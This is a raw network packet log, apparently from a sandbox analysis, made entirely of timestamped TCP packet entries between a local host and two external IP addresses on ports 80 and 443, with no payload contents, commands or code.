Dec 20, 2024 04:12:17.964751959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.969222069 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.969338894 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.969398022 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.973870993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.973987103 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.974034071 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.978534937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.978594065 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.978651047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.978753090 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.983213902 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.983283043 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.983320951 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.983398914 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.986838102 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.986946106 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.987005949 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.990484953 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.990571976 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.990614891 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.994136095 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.994234085 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.994280100 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.997802973 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.997955084 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.998014927 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.001391888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.001450062 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.001507998 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.001554012 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.005038023 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.005145073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.005193949 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.008682966 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.008765936 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.008785963 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.008824110 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.012274981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.012845039 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.116360903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.116503000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.116565943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.117815971 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.117922068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.117968082 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.120752096 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.120791912 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.120836973 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.123734951 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.123794079 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.123812914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.123858929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.126523018 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.126630068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.126676083 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.132224083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.132241011 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.132323027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.132847071 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.132862091 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.132919073 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.134792089 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.134845972 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.134893894 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.135865927 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.137422085 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.137468100 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.137526035 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.137588978 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.140017033 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.140077114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.140131950 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.140172958 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.142616034 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.142739058 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.142791033 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.145256042 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.145356894 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.145409107 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.147850037 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.147969007 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.148016930 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.153485060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.153501987 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.153526068 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.153564930 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.154385090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.154401064 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.154450893 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.155797005 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.155812979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.155858040 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.158329010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.158437014 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.158483982 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.160933971 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.161015034 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.161056042 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.163554907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.163602114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.163649082 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.165839911 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.166162014 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.166204929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.166258097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.166315079 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.168766022 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.168812037 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.168879986 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.171397924 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.171452045 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.171562910 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.171860933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.173989058 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.174107075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.174151897 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.176625967 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.176737070 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.176778078 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.179250002 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.179375887 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.179441929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.181845903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.181976080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.182025909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.184454918 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.184648037 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.184698105 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.187083006 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.187191963 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.187241077 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.190419912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.190551996 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.190597057 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.192344904 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.192389011 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.192455053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.192850113 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.194942951 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.194989920 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.195046902 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.195106983 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.197531939 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.197638035 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.197685003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.308584929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.308618069 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.308679104 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.309575081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.309700012 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.309753895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.311758995 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.311809063 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.311841011 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.313947916 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.313996077 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.314039946 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.315480947 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.316103935 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.316158056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.316234112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.316278934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.318257093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.318303108 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.318375111 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.318419933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.320369959 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.320415020 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.320463896 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.320521116 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.322427034 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.322472095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.322539091 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.322581053 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.324450970 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.324496984 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.324557066 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.324600935 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.326478958 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.326598883 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.326647997 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.328491926 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.328537941 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.328593016 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.328636885 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.330534935 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.330578089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.330631018 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.330689907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.332540989 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.332587004 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.332640886 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.332683086 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.334568024 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.334614038 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.334669113 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.334709883 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.336604118 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.336647987 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.336728096 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.336770058 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.338622093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.338665962 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.338682890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.338722944 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.340648890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.340693951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.340740919 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.340780973 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.342662096 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.342708111 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.342766047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.342822075 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.344693899 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.344738007 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.344794035 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.344836950 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.346740007 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.346785069 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.346837997 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.346887112 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.348757029 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.348800898 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.348866940 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.348906994 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.350785971 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.350827932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.350871086 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.350913048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.352794886 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.352845907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.352869987 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.352965117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.354862928 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.354906082 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.354968071 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.355010033 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.356861115 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.356904984 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.356966972 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.357007980 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.358876944 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.358922958 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.358990908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.359031916 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.360913038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.360955000 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.360965014 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.361006975 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.362931013 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.362974882 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.363097906 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.363142967 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.364947081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.364993095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.365051985 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.365108013 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.366992950 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.367039919 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.367094040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.367137909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.368995905 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.369035959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.369106054 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.369148016 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.371046066 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.371089935 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.371115923 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.371155024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.373074055 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.373117924 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.373202085 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.373244047 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.375077963 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.375121117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.375186920 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.375241995 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.377116919 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.377161026 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.377226114 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.377265930 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.379123926 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.379172087 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.379230022 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.379275084 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.381164074 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.381205082 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.381227970 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.381266117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.383182049 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.383210897 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.383224010 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.383241892 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.385222912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.385262966 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.385270119 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.385305882 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.387248993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.387294054 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.387365103 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.387408018 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.389270067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.389317036 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.389378071 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.389420033 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.391285896 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.391325951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.391397953 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.391441107 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.393312931 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.393359900 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.393428087 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.393477917 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.395353079 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.395399094 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.395425081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.395483017 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.396135092 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:18.396399975 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:18.396476984 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:18.397382975 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.397429943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.397490978 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.397536039 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.398566961 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:18.398606062 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:18.399389029 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.399519920 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.399565935 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.401408911 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.401532888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.401585102 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.403429031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.403749943 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.403817892 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.405448914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.405574083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.405637980 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.406951904 CET	49790	443	192.168.2.4	104.21.23.76
